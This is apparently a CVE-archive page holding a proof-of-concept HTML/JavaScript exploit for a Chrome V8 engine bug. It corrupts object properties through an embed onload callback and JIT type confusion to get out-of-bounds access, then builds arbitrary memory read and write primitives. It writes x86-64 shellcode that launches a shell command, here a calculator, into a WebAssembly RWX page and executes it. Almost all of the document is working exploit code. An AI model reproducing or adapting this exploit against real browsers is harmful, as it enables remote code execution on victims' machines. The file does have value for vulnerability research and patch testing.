4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exp.html HTML
<!DOCTYPE html>
<html>
<head>
	<title></title>
</head>
<body>
<script type="text/javascript">

function sleep (time) { 
    return new Promise((resolve) => setTimeout(resolve, time)); 
}

function gc(){
  for(var i = 0;i < ((1024*1024));i++){
    var a = new String();
  }
}

function wasm_func() {
  var wasmImports = {
      env: {
          puts: function puts (index) {
              print(utf8ToString(h, index));
          }
      }
  };

  var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
      96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
      116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
      131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
      109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
      128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
      65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
  let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
  let h = new Uint8Array(m.exports.memory.buffer);
  return m.exports.hello;
}
var wasm_function = wasm_func();

//%DebugPrint(wasm_function);

var buf = new ArrayBuffer(16);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);

var dv = new DataView(buf);

function f2i(val)
{
	dv.setFloat64(0,val,true);
  return dv.getBigUint64(0,true);
}

function i2f(val)
{
	dv.setBigUint64(0,BigInt(val),true);
  return dv.getFloat64(0,true);
}

function f2half(f)
{
  f64[0] = f;
  let tmp = Array.from(u32);
  return tmp;
}

function half2f(val)
{
  u32.set(val);
  return f64[0];
}

function p64f(high,low){
  let num = (high * 0x100000000n) + low;
  return i2f(num);
}

function ByteToBigIntArray(payload)
{

    let sc = []
    let tmp = 0n;
    let lenInt = BigInt(Math.floor(payload.length/8))
    for (let i = 0n; i < lenInt; i += 1n) {
        tmp = 0n;
        for(let j=0n; j<8n; j++){
            tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j));
        }
        sc.push(tmp);
    }

    let len = payload.length%8;
    tmp = 0n;
    for(let i=0n; i<len; i++){
        tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i));
    }
    sc.push(tmp);
    return sc;
}

function hex(i){
  return i.toString(16).padStart(16,"0");
}

global_object = {};
setPropertyViaEmbed = (object, value, handler) => {
  const embed = document.createElement('embed');
  embed.onload = handler;
  embed.type = 'text/html';
  Object.setPrototypeOf(global_object, embed);
  document.body.appendChild(embed);
  object.corrupted_prop = value;
  embed.remove();
}

createCorruptedPair = (value_1, value_2) => {
  const object_1 = {
    __proto__: global_object
  };
  object_1.regular_prop = 1;

  setPropertyViaEmbed(object_1, value_2, () => {
  	console.log("[+]call setPropertyViaEmbed inside!");
    Object.setPrototypeOf(global_object, null);
    object_1.corrupted_prop = value_1;
  });

  const object_2 = {
    __proto__: global_object
  };
  object_2.regular_prop = 1;
	

  setPropertyViaEmbed(object_2, value_2, () => {
    Object.setPrototypeOf(global_object, null);
    object_2.corrupted_prop = value_1;
    object_1.regular_prop = 1.1;
  });
  return [object_1, object_2];
}
gc();
const array = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8];
array.prop = 1;

//var obj = {x:"1",y:"2"};
gc();
var tmp = {};
var temp = {};
gc();
var obj = [temp,tmp,temp,tmp,temp,tmp,temp,tmp,temp,tmp,temp];
gc();
var oob_arr = [13.37];
gc();
var big_arr = new BigUint64Array(2);
gc();
var obj_arr = {obj:tmp};
gc();
big_arr[0] = 0x1337n;
big_arr[1] = 0x1717n;
//var obj = [13.37,23.23]
// var obj_arr = [obj];
console.log("[*]arr & obj_arr");
const [object_1, object_2] = createCorruptedPair(array, obj);

jit1 = (object) => {
  var res = object.corrupted_prop[0];
  return res;
}

jit = (object1, object2, val) => {
  var res = object1.corrupted_prop[7];
  object2.corrupted_prop[7] = val;
  return object2.corrupted_prop[7];
}

for (var i = 0; i < 100000; ++i){
  jit(object_1,object_1,1.1);
}
  
console.log(object_2.corrupted_prop);
console.log(object_2.corrupted_prop[0]);
gc();
var res = jit(object_1,object_2,i2f(0x1234));
//hajack the big_arr
var length_idx = 5;
var external_idx = 6;
var base_idx = 7;
//leak the base and the external pointer
var length = f2i(oob_arr[length_idx]);
console.log("[+]The length of bigUint64Arr is : " + hex(length));
var external_pointer = f2i(oob_arr[external_idx]);
console.log("[+]The external pointer is : " + hex(external_pointer));
var base_pointer = f2i(oob_arr[base_idx]);
console.log("[+]The base pointer is : " + hex(base_pointer));
var base_high = (base_pointer & 0xffffffff00000000n) / 0x100000000n;
console.log("[+]The base pointer high is : " + hex(base_high));
//
function heap_read(addr)
{
  //set base pointer
  //console.log("[+]addr : " + hex(addr));
  oob_arr[base_idx] = p64f(base_high,addr-0x8n);
  var res = big_arr[0];
  return res;
}

function arb_read(addr)
{
  oob_arr[base_idx] = p64f(base_high,0n);
  oob_arr[external_idx] = i2f(addr);
  var res = big_arr[0];
  return res;
}

function arb_write(addr, payload)
{
  var payload_u64 = ByteToBigIntArray(payload);
  oob_arr[length_idx] = i2f(payload_u64.length);
  oob_arr[base_idx] = p64f(base_high,0n);
  oob_arr[external_idx] = i2f(addr);
  for(let i = 0; i < payload_u64.length; i++){
    big_arr[i] = payload_u64[i];
  }
}


var obj_idx = 21;


obj_arr.obj = wasm_function;

//addressOf(wasm_function);
var wasm_function_addr = f2i(oob_arr[obj_idx]) & 0xffffffffn;

console.log("[+]obj addr : " + hex(wasm_function_addr));

//%DebugPrint(big_arr);

oob_arr[base_idx] = p64f(base_high,wasm_function_addr+0xcn-0x8n);

var shared_info_addr = big_arr[0] & 0xffffffffn ;

console.log("[+] shared info addr : 0x" + hex(shared_info_addr));

oob_arr[base_idx] = p64f(base_high,shared_info_addr+0x4n-0x8n);

var data_addr = big_arr[0] & 0xffffffffn ;

console.log("[+] data addr : 0x" + hex(data_addr));

oob_arr[base_idx] = p64f(base_high,data_addr+0x8n-0x8n);

var instance_addr = big_arr[0] & 0xffffffffn ;

console.log("[+] instance addr : 0x" + hex(instance_addr));

oob_arr[base_idx] = p64f(base_high,instance_addr+0x68n-0x8n);

var wasm_addr = big_arr[0] ;

console.log("[+] wasm addr : 0x" + hex(wasm_addr));

// leak target

oob_arr[base_idx] = p64f(base_high,0n);
oob_arr[external_idx] = i2f(wasm_addr+0x1n);
var offset = (big_arr[0]+0x5n) & 0xffffn;


console.log("[+]offset : " + hex(offset));

let shellcode = [0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];

//alert("xmzyshypnc");

//let shellcode = [0xcc,0xcc,0xcc,0xcc];

var payload_u64 = ByteToBigIntArray(shellcode);
oob_arr[length_idx] = i2f(payload_u64.length);
oob_arr[base_idx] = p64f(base_high,0n);
oob_arr[external_idx] = i2f(wasm_addr);

for(let i = 0; i < payload_u64.length; i++){
  big_arr[i] = payload_u64[i];
}

wasm_function();



</script>
</body>
</html>